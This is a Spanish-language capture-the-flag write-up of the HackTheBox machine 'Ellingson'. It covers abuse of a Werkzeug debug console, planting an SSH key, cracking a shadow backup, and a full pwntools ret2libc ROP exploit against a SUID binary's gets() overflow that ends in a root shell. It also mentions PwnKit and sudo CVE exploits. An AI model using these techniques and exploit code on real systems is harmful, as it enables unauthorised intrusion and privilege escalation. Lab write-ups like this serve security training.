xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Ellingson



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.10.139
Nmap scan report for 10.10.10.139  
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

La página principal muestra 3 articulos de la empresa Ellingson Mineral Company

Visitando los articulos podemos ver que se gestionan simplemente apuntanto a la ruta /articles/ y un identificador que en este caso solo es un numero cualquiera

Al apuntar al identificador 4 y este no existir nos lanza un error de werkzeug que al tener el modo debug habilitado podemos lanzarnos una consola de python


Shell - hal


En este punto podemos importar la libreria os y mostrar el output de os.popen al ejecutar el comando id, en este caso lo ejecuta hal que pertenece al grupo adm

>>> import os
>>> print(os.popen("id").read())
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)  
>>>

Revisando si el usuario tiene un archivo id_rsa para conectarnos a ssh encontramos una, sin embargo esta parece encriptada y con john no conseguimos la contraseña

>>> print(open("/home/hal/.ssh/id_rsa").read())
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,4F7C6A9FD8FB74EDF6E605487045F91D

qVxdFeBjyqXIUkZ6A+8u77HfZgUUwmPOuhN9xFYy+f36kKwr1Wol3iWRHB7W7Ien
5vjyyNT3+mTO272NcAwreWRH0EZWDmvltWP5e9gESTpA4ja+vNP32UNwJ9lK1PLL
mSm7XFl4xOMkhheRzJlLRF7b41C8PKsMVP2DpaHLMxHwTCY1fX5j/QgWpwPN5W0R
DTQvsHyFj+gfsYjCTdrHUX0Dhg+LdVr7SH9NDt0twg/RxtXkAvwbyw3eRXAR0YCB
mrldQ4ymh91G4CapoIOyGUVZUPE/Sz1ZExVCTlfGT9LUgE8L7aaImdOxFkrKDiVb
ddhdWnXwnCrkxIaktwCSIFzl8iT71OxsQOcoq+VV8VbOsL2ICdgHNOIxQ2HonRQS
Ej19P02Ea5rOHVVx/SYxT+ce6Zx301GkYmPu80LVVFK8x7gRajMYgFu/bgC67F91
/QQ6IYkpoSr+eY8l0aJa5IpUo20sGV6xktiyx4V5+kMudiNTE/SAAea/vCCBBqZl
5YFdp/TW5sqvkvB5w4/a/UUj1POa0tT/Ckox9JWq2idq+tYw+MATejY+Xv1HUOun
YuV0Lm5AjdSBAcpIfU6ztJQ1zoVVYPqWXwRia38pSFDTz1pAHt9W6JBCRT3PKLo9
rb8xOhvx6VNj4ZgvaEdxw25RCAGyoEN6/S7z/tgVYZvWoXRqUvOkYq2iyECQ+6ib
qn/YjpRCX0Q9/3QRH0XSfTo7GvzbS4nTC2KubxmG9CJv/AAfdf1DcpvSfjtkUn5a
bN1NOMWbJkrFCLeS6P4fPUJt8VwEJXP+IQaqz9bJYyRI1uIrG2PhzpRZ+24iHv63
2lY+lZpeZBdagYJcp3qnh/f6kVtD+AyhyDurQ+EhsgBdqm4XM+d7AvilTDzqiU3v
b6ZIzTRsVTWUKsTfvkiFop64d8uIov16b6FimiG/YNFQfd7SUL8hvjJVeArWRGjO
vPn+RB4BYS0s3VZI+08Jo/BL8EXFeuMZdpbDFnGDhaINSL1/cZasQS6hRYUJsKZN
T7ptM3NdKNyrVGwfKyttp3OHZFjPRjZezpBR60q+HI37pt/iDkuhbeK2Pr9jNR3f
jfqv8lGlOMIoPA6ERxPveUrLldL6NfLT0gPasDrWo0RRDIzanqz0wYK/SfuIiumT
8tonBa4kQlxAyenW1p+nx5bZ1QXPQaUbXbAe3AbOU2YG20LJ0v8mxVZE0zP9QNZM
DSHtv3uIl3nONJIJryp8Y6UjW1q3+UaAnTS6J/IXk+JVsSIRs5hbNDtNLlhFowDq
2OWEh2CRE7TNptk6Bb8pZbfyA/lCXJhJjo8YZLc3xZ2h1WF1vaXCHYo/FNqeoS0k
yicWCEz2fSKfNMnMpcVreQglfA9u49+Cvqzt1JnIlX1gDUg8EXV5rLAEgiSRfVin
B1pTjH/EROnppfQkteSbRq9B9rrvcEQ8Q5JPjr7kp3kk07spyiV6YqNmxVrvQtck
rQ+X68SNYRpsvCegy59Dbe5/d6jMdFxBzUZQKAHCyroTiUS8PtsAIuRechR0Cbza
OM2FRsIM8adUzfx7Q91Or+k2pIKNKqr+5sIpb4M0GHggd7gD10E+IBUjM9HsQR+o
-----END RSA PRIVATE KEY-----
>>>

❯ ssh2john id_rsa > hash

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes  
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
Session completed.

Lo que podemos hacer es modificar el archivo authorized_keys para guardar nuestra clave publica para asi despues conectarnos a ssh sin proporcionar contraseña

>>> open("/home/hal/.ssh/authorized_keys", "w").write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHJkHdh26fDO0wZqVbBRvzXh2zSSqUyQG8TyIcPU05yf user@ubuntu")  
92
>>>

❯ ssh hal@10.10.10.139
hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)  
hal@ellingson:~$ hostname -I
10.10.10.139
hal@ellingson:~$


Shell - margo


Ya que formamos parte del grupo adm podemos buscar archivos que pertenezcan a este usando find, uno que llama la atención de primeras es shadow.bak

hal@ellingson:~$ find / -group adm 2>/dev/null | grep -v snap  
/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log
/var/log/syslog
/var/log/nginx
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/apt/term.log
/var/log/apport.log
/var/log/mail.log
hal@ellingson:~$

Este archivo es una copia del /etc/shadow y contiene hashes de varios usuarios del sistema en formato sha-256 que si la contraseña es debil podemos crackear

hal@ellingson:~$ cat /var/backups/shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::  
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:~$

Usando john para aplicar fuerza bruta logramos crackear 2 de los 4 hashes, sin embargo solo una de las contraseñas funciona en el sistema y es la de margo

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 XOP 2x])  
Remaining 2 password hashes with 2 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (theplague)
iamgod$08        (margo)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Podemos usar ssh para conectarnos como el usuario margo y asi leer la primera flag

❯ sshpass -p 'iamgod$08' ssh margo@10.10.10.139
margo@ellingson:~$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)  
margo@ellingson:~$ hostname -I
10.10.10.139
margo@ellingson:~$ cat user.txt 
7ec**************************877
margo@ellingson:~$


Shell - root


Buscando por archivos con privilegios suid encontramos ademas de los tipicos un binario que parece ser personalizado, este binario tiene el nombre garbage

margo@ellingson:~$ find / -perm -u+s 2>/dev/null | grep -v snap  
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount
margo@ellingson:~$ ls -l /usr/bin/garbage
-rwsr-xr-x 1 root root 18056 Mar  9  2019 /usr/bin/garbage
margo@ellingson:~$

Al ejecutar el binario nos pide una contraseña, si le pasamos cualquier string como password nos devolvera que esta es incorrecta y el programa se detendra

margo@ellingson:~$ garbage
Enter access password: password  

access denied.
margo@ellingson:~$

Usando ida podemos desensamblar el binario, la función main es bastante simple, inicia llamando a check_user que devuelve un uid, este se almacena en una variable y se le pasa como argumento a la función set_username, finalmente se llama a la función auth y se realiza un salto condicional dependiendo del valor de retorno

Si devuelve 0 llama a la función exit para salir, si devuelve verdadero envia mensajes con puts mostrando un menú, luego con scanf recibe una opción e inicia una comparación tipo switch para realizar una u otra acción dependiendo de esta

Volvamos a la primera función que llama main, la función check_user llama a getuid para obtener el uid del usuario que lo ejecuta, luego lo compara con 1002 y 1000, si el uid es diferente de estos 2 valores no se permitirá el acceso a la aplicación

Sigamos con set_username, esta función llama a getpwuid pasandole el uid actual, esto con el fin de obtener el nombre asociado, si no se encuentra se devuelve error

Le toca el turno a auth, esta llama a strcpy para copiar a un buffer el usuario, seguido de ello muestra un mensaje con printf pidiendo una contraseña y se recibe con gets en el mismo buffer, luego este se compara con la contraseña N3veRF3@r1iSh3r3!, aunque lo interesante parece ser la contraseña lo verdaderamente interesante es el buffer en ebp - 128 ya que al recibir con gets cualquier dato si enviamos más bytes ocasionaremos un buffer overflow sobrescribiendo más datos

Algo a tener en cuenta son las protecciones, en este caso nos encontramos con NX que nos impide ejecutar shellcode directamente por lo que tendremos que usar ROP

❯ checksec garbage
[*] '/home/user/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)  

El buffer inicia en rbp - 128, asi que lo rellenaremos con A's, luego enviamos otras 8 B's que tomara rbp como valor seguido de 8 C's como dirección de retorno

❯ python3 -q
>>> b"A" * 128 + b"B" * 8 + b"C" * 8
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC'  
>>>

Lo enviamos como payload y al corromper podemos verificar que rbp toma como valor las B's y la dirección de retorno las C's, como conclusión obtenemos que el offset para sobrescribir el puntero que apunta a la dirección de retorno son 136 bytes

❯ gdb -q garbage
Reading symbols from garbage...
(No debugging symbols found in garbage)
pwndbg> run
Starting program: /home/user/garbage
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC  

access denied.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401618 in auth ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe2d8:    0x4343434343434343
pwndbg>

Para lekear una direccion de libc base necesitaremos algunas cosas, primero la direcion de la funcion puts@plt del propio binario que podemos ver desde gdb

pwndbg> plt
Section .plt 0x401020-0x401170:  
0x401030: putchar@plt
0x401040: strcpy@plt
0x401050: puts@plt
0x401060: fclose@plt
0x401070: getpwuid@plt
0x401080: getuid@plt
0x401090: printf@plt
0x4010a0: rewind@plt
0x4010b0: fgetc@plt
0x4010c0: read@plt
0x4010d0: fgets@plt
0x4010e0: strcmp@plt
0x4010f0: getchar@plt
0x401100: gets@plt
0x401110: syslog@plt
0x401120: access@plt
0x401130: fopen@plt
0x401140: __isoc99_scanf@plt
0x401150: strcat@plt
0x401160: exit@plt
pwndbg>

Ademas usaremos la dirección de got puts que hara referencia a la direccion de puts cargandola desde libc, la idea es lekear esta direccion para calcular libc

pwndbg> got -r puts
Filtering by symbol name: puts

State of the GOT of /home/user/garbage:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter  
[0x404028] puts@GLIBC_2.2.5 -> 0x7ffff7e38b00 (puts) ◂— push r14
pwndbg>

Usando ropper vamos a conseguir un gadget que ejecute un pop rdi, este lo usaremos para guardar en rdi la direccion de got para usarlo como argumento

❯ ropper --file garbage --search "pop rdi; ret;"  
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: garbage
0x000000000040179b: pop rdi; ret;

Por ultimo la direccion de main para que despues de lekear libc con nuestro primer payload vuelva al inicio y podamos enviar un nuevo payload sin dejar de ejecutarlo

pwndbg> p main
$1 = {<text variable, no debug info>} 0x401619 <main>  
pwndbg>

La primera parte del exploit ejecutara puts pasandole como argumento la direccion de got por lo que se nos mostrara la direccion de puts cargado desde libc

#!/usr/bin/python3
from pwn import ssh, p64

session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")  
shell = session.process("/usr/bin/garbage")

offset = 136
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()

shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")

print(shell.recvline())

Al ejecutarlo explota el buffer overflow remotamente y al interpretar nuestro payload conseguimos lekear la direccion de la funcion puts cargada desde libc

❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4202  
b'\xc09~\x9e\x01\x7f\n'

Para representarlo en un entero como necesitamos podemos usar u64 de pwntools

#!/usr/bin/python3
from pwn import ssh, p64, u64, log

session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")  
shell = session.process("/usr/bin/garbage")

offset = 136
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()

shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")

leak = u64(shell.recvline().strip().ljust(8, b"\x00"))
log.info(f"Leak: {hex(leak)}")

Al ejecutarlo podemos ver la direccion lekeada en un mejor formato que es el hex

❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4109  
[*] Leaked puts: 0x7f6eacc229c0

Lekeamos la direccion de puts cargado desde libc por lo que si le restamos el offset de puts que vemos con libcdb lo que conseguimos es la direccion base de libc

❯ libcdb file libc.so.6
[*] libc.so.6
    Version:     2.27
    BuildID:     b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0
    MD5:         50390b2ae8aaa73c47745040f54e602f
    SHA1:        18292bd12d37bfaf58e8dded9db7f1f5da1192cb
    SHA256:      cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d  
    Symbols:
        __libc_start_main_ret = 0x21b97
                         dup2 = 0x1109a0
                       printf = 0x64e80
                         puts = 0x809c0
                         read = 0x110070
                   str_bin_sh = 0x1b3e9a
                       system = 0x4f440
                        write = 0x110140

Despues de lekear libc enviamos un nuevo payload que guardara en rdi la direccion de la string /bin/sh para posteriormente llamar a system y conseguir una shell

#!/usr/bin/python3
from pwn import ssh, p64, u64

session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")  
shell = session.process("/usr/bin/garbage")

offset = 136
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()

shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")

libc_base = u64(shell.recvline().strip().ljust(8, b"\x00")) - 0x809c0

payload  = b""
payload += junk
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(libc_base + 0x1b3e9a) # "/bin/sh"
payload += p64(libc_base + 0x04f440) # system()

shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")

shell.interactive()

Sin embargo al ejecutar el exploit no conseguimos una shell como se esperaba sino que el programa se detiene muy probablemente por un error de instruccion

❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4717  
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$

Para ver que esta pasando podemos usar gdb para ver donde se detiene el progama

shell = gdb.debug("./garbage", gdbscript="continue")  

Una vez ejecutamos el exploit podemos ver que se corrompe al ejecutar un movaps, esto se debe a que las funciones de libc en x64 requieren que la pila este alineada en 16 bytes, osea que la direccion de rsp termine en 0 que en este caso no es asi

Program received signal SIGSEGV, Segmentation fault.
0x00007f9674c4f2f6 in ?? () from ./libc.so.6
pwndbg> context disasm
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────
 ► 0x7f9674c4f2f6    movaps xmmword ptr [rsp + 0x40], xmm0
   0x7f9674c4f2fb    call   sigaction                <sigaction>
 
   0x7f9674c4f300    lea    rsi, [rip + 0x39e2f9]
   0x7f9674c4f307    xor    edx, edx
   0x7f9674c4f309    mov    edi, 3
   0x7f9674c4f30e    call   sigaction                <sigaction>
 
   0x7f9674c4f313    xor    edx, edx
   0x7f9674c4f315    mov    rsi, rbp
   0x7f9674c4f318    mov    edi, 2
   0x7f9674c4f31d    call   sigprocmask                <sigprocmask>
──────────────────────────────────────────────────────────────────────────────────  
pwndbg> regs rsp
 RSP  0x7fff39bee1f8 —▸ 0x402181 ◂— 'access denied.'
pwndbg> 

La solución es sencilla y es que solo necesitamos un gadget para ejecutar un ret, al hacerlo este alineara la pila por lo que la funcion deberia ejecutarse sin problemas

❯ ropper --file libc.so.6 --search "ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret;

[INFO] File: libc.so.6
0x00000000000008aa: ret;

Definimos la direccion de ret que enviaremos justo antes de llamar a system

payload  = b""
payload += junk
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(libc_base + 0x1b3e9a) # "/bin/sh"
payload += p64(libc_base + 0x0008aa) # ret;
payload += p64(libc_base + 0x04f440) # system()

Al ejecutar el exploit conseguimos una shell sin embargo seguimos como el usuario margo, es porque aunque el programa es suid en ningun momento ejecuta setuid

❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4813  
[*] Switching to interactive mode
$ $ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
$ $

El offset de la funcion setuid podemos conseguirla con readelf sobre libc.so.6

❯ readelf -s libc.so.6 | grep setuid  
    23: 00000000000e5970   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5  

Nuestro exploit final se divide en 2 etapas, la primera se encarga de lekear la direccion base de libc y la segunda se encarga de ejecutar un setuid(0) seguido de system("/bin/sh") que nos otorga una shell con el uid 0 que es el de root

#!/usr/bin/python3
from pwn import ssh, p64, u64

session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")  
shell = session.process("/usr/bin/garbage")

offset = 136
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()

shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")

libc_base = u64(shell.recvline().strip().ljust(8, b"\x00")) - 0x809c0

payload  = b""
payload += junk
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(0x0)                  # uid (root)
payload += p64(libc_base + 0x0e5970) # setuid()
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(libc_base + 0x1b3e9a) # "/bin/sh"
payload += p64(libc_base + 0x04f440) # system()

shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")

shell.interactive()

Al ejecutarlo se conecta a ssh como margo donde ejecuta el binario y al explotar el buffer overflow con el payload anterior conseguimos una shell como root

❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 5512  
[*] Switching to interactive mode
# $ whoami
root
# $ hostname -I
10.10.10.139
# $ cat /root/root.txt
424**************************ddf
# $


Extra 1 - root


Como alternativa cuando buscamos por binarios con privilegios suid vemos el ya famoso pkexec, con un exploit del pwnkit nos podemos convertir en root

hal@ellingson:~$ ls -l /usr/bin/pkexec 
-rwsr-xr-x 1 root root 22520 Jul 13  2018 /usr/bin/pkexec  
hal@ellingson:~$ python3 CVE-2021-4034.py 
[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root
#


Extra 2 - root


Mirando la version de sudo encontramos la 1.8.21p2, la cual es un poco antigua, buscando exploits encontramos el CVE-2021-3156 que se aprovecha de esto, simplemente copiamos el exploit y al ejecutarlo ganamos una shell como root

hal@ellingson:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
hal@ellingson:~$ python3 exploit_nss.py  
# whoami
root
#